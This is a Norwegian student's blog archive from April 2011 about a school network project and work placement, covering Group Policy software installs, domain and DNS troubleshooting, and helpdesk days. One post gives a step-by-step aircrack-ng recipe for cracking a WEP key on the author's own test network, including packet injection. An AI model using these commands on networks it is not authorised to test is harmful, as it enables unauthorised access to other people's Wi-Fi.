Bloggarkiv

fredag 29. april 2011

Finpussing + øving

Hva jeg har gjort disse dagene:


De siste dagene under prosjektet har jeg brukt på å øve på hackingen når jeg skal vise det for klassen samtidig som jeg har jobbet mere med serveren og klienten. Jeg ville legge til programmer som installerte seg selv når brukerne logget seg inn for første gang. Dette ligner litt på slik det er på skolen, og da må man vente en stund på din første pålogging siden programmer blir installert. For å gjøre dette måtte jeg legge inn disse programmene i group policy. For å kunne legge inn programmene og få dem til å installeres måtte jeg gå inn på:

  • Group Policy Management -> 
  • Edit -> 
  • Default Group Policy -> 
  • User Configurations -> 
  • Software settings ->
  • Software installation. høyreklikk og velge -> 
  • Package
Etter dette var gjort måtte jeg velge de programmene jeg ville at skulle installeres. Jeg valgte skype, acrobat og antivirus hvis jeg ikke husker feil. Når dette var gjort gikk jeg på klienten og kjørte en gpupdate før jeg restartet maskinen. 


Hvordan dagen har vært


Denne dagen har vært kul og jeg har lært en del nytt med tanke på automatisk installering av programvare. Jeg har også jobbet mere med backtracker. 


Synd at jeg ikke fikk lov til å bruke Cain & abel da men det er ok

fredag 15. april 2011

Mandag = Hacking!!!! :D:D:D:D


Hva jeg har gjort i dag:
Dagen i dag har jeg sett fram til en stund nå siden jeg skal fokusere på hacke biten av prosjektet mitt samtidig som jeg skal leke meg litt mere på domene...

Nå kommer det morsomme!!!
Jeg skaffet en laptop og en CD med back tracker 4 samtidig som jeg har skaffet meg en USB trådløst
 nettverkskort.
Jeg fikk bootet opp Back tracker 4 og kjørt komandoen startx som starter opp "OS" et.
Jeg får høre den fine sangen når den starter opp og jeg er klar for å sniffe på mitt eget nett. Satt opp 2 forskjellige passord der en av dem bruker jeg i min fremføring for å vise hvordan back tracker 4 fungerer. Dette passordet var: 1234567890 men det andre passordet jeg brukte var for å teste meg selv og for å gjøre som jeg har planlagt i oppgaven (hacke et vanskelig passord). Dette passordet var 1a2b3c4d5e.

Jeg åpnet opp et nytt vindu/command promt lignende og startet med kommandoer, her er oppskriften:

1. Først må jeg finne mitt trådløse nettverkskort:
Iwconfig (i mitt tilfelle ble var nettverkskortet mitt wlan0)

2. Starte nettverkskortet 
Airmon-ng start wlan0

3. Finne nettverk 
Airodump-ng wlan0

3. Etter at du har funnet nettverket du vil sniffe må du "feste deg til det"
Airodump-ng -c (channel) -w (hack.txt) --bssid (adressen) wlan0

4. Når du har festet deg til nettverket trenger du data for å kunne knekke WEP nøkkelen. Dette kan ta lang tid og for å "booste" det litt med noen kommandoer. 
Aireplay-ng -1 0 -a (bssid) wlan0    (Denne kommandoen vil gjøre slik at du får tilgang til å sende pakker)

Angrepet:
Aireplay-ng -3 -b (bssid) wlan0       (Denne kommandoen vil sende pakker til nettverket og motta pakker)

5. Nå har vi fått minimum 10.000 pakker og vi kan bruke dette til å knekke WEP nøkkelen:
Aircrack-ng -n 128/64 -b (bssid) filnavnet-01.cap (hack.txt-01.cap)

Nå vil maskinen bruke de pakkene den har fått til å finne ut av passordet:
Eksempel.         12:34:56:78:90 = WEP 1234567890 :-)


Hva jeg har lært:
I dag har jeg lært masse repetisjon og jeg har fått frisknet opp masse som jeg ikke husket og jeg føler meg bra innvendig :-)
Jeg likte denne dagen og fikk drevet med noe jeg syntes er veldig morsomt.
Slet i starten pga. lite pakker men fikk ordnet dette med aireplay-ng kommandoene

Hva jeg vil gjøre mere av:
Jeg er redd for at jeg ikke får tid til å bruke cain & abel i dette prosjektet men dette er greit så får jeg fokusert på det andre.
Hva jeg syntes om dagen:
Dette var en fin hackedag og jeg er strålende fornøyd. Jeg har fått jobbet masse og hatt det morsomt samtidig.
Jeg føler at jeg har ganske god kontroll og kan snart finjustere litt og være ferdig med prosjektet.

Back | track 4

tirsdag 12. april 2011

Fredag = ingen utplassering

Jeg var ikke på utplassering denne dagen pga kursing. Både jeg og Espen hadde "fri"

mandag 11. april 2011

Uke 14 på etterskudd



Hva jeg har gjort i dag:

Denne uken har vært hektisk og vi har alle jobbet hardt med prosjektet slik at vi skulle kunne gjøre oss ferdig i uke 15. Så dette innlegget kommer til å handle om nettopp det valgfrie prosjektet.
Mandag og tirsdag var de dagene der jeg føler jeg fikk gjort masse samtidig som jeg har møtt på flere hinder på veien og i løpet av denne uken har jeg hatt som mål å bli klar slik at jeg kan begynne å hacke i uke 15. Jeg lå litt på etterskudd og jeg måtte til og med ta kontakt med Frode siden jeg trengte hjelp. Dette var et kritisk punkt der jeg ikke fikk meldt maskinen (klienten) inn i mitt domene som hat Aleksander.prosjekt. Etter mye om og men fant jeg ut at problemet var rett og slett at jeg ikke hadde satt opp en foretrukket DNS server til maskinen så den fik ikke kontakt med domene mitt selv om jeg kunne pinge serveren. Etter dette ble gjort fikk jg ordnet opp i noe som holdt meg en del igjen disse dagene.
Jeg gjorde meg mere og mere ferdig med de forskjellige delene når det kommer til DHCP, VPN og Domene samtidig som jeg endret på planene mine underveis. Jeg prøvde meg fram siden dette er någenlunde nytt og jeg lærer hele tiden og ser noe som er smartere underveis.
Jeg har endret på min egen plan disse dagene så den innleveringen jeg hadde levert ble seende litt anderledes enn før.

Hva jeg har lært:
Jeg har lært masse av mine feil og lært at ikke alt går etter planen. Jeg har funnet flere spennende ting jeg har lyst til å prøve på neste uke som automatisk backup o.l


Hva jeg syntes om dagen:


Gleder meg til jeg skal begynne med å hacke neste gang

tirsdag 5. april 2011

Utplassering 01.04.11

Hva jeg har gjort i dag: 


Dette var en av de siste dagene vi har skal ha her på utplasseringen og det er ganske trist i grunn. Blir merkelig å ikke dra hit på fredager. Det har ikke vært fryktelig mye arbeid denne dagen, men det er alltids noe å gjøre :)
Det var 1 april så jeg passet meg for evt. aprilsnar eller lignende. Jeg møtte ikke dette som var rettet mot meg selv ihvertfall. Det var noen tilfeller der læreren skulle være morsom og stengte nettet til elevene slik at de måtte komme opp til oss. Vi kunne ikke låse opp nettet og de ble bedt om å gå ned igjen...
Flere små spøker var utover dagen og vi fikk oss en god latter når vi leste om morsomme lover i forskjellige land o.l
Det kom en jente innom som hadde problemer med It's der hun ikke klarte å sende en spesifik fil. Vi fikk ikke ordnet dette problemet og ba henne gå til skolens superbruker på It's learning.

Etterhvert denne dagen skulle vi sette opp en info skjerm eller rettere sagt koble opp en pc til en TV som allerede hang på veggen. Denne oppgaven klarte vi ganske greit på første forsøk. Etter dette var det en spesiell oppgave som tok masse av tiden min denne dagen og det var å skru fra hverandre en maskin og teste alle delene slik jeg hadde gjort før. Jeg jobbet meg igjennom de forskjellige delene men fikk ikke testet nettverkskortet. Grunnen var enkel. Noen før meg hadde prøvd å åpne denne før men hadde tatt i for mye og ødelagt skruen slik at det var umulig å få den opp. "Sporene var borte".


Hva jeg har lært:
I dag har jeg jobbet en del med det jeg kan fra før og trivdes med dette samtidig som jeg fikk ansvaret for helpdesken denne dagen. Dette var jo greit siden det ikke kom så fryktelig mange personer inn denne dagen.


Hva jeg syntes om dagen:


Dagen i dag har vært annerledes enn de andre pga. at det er 1.april
Alt i alt har dagen vært god og morsom!! :D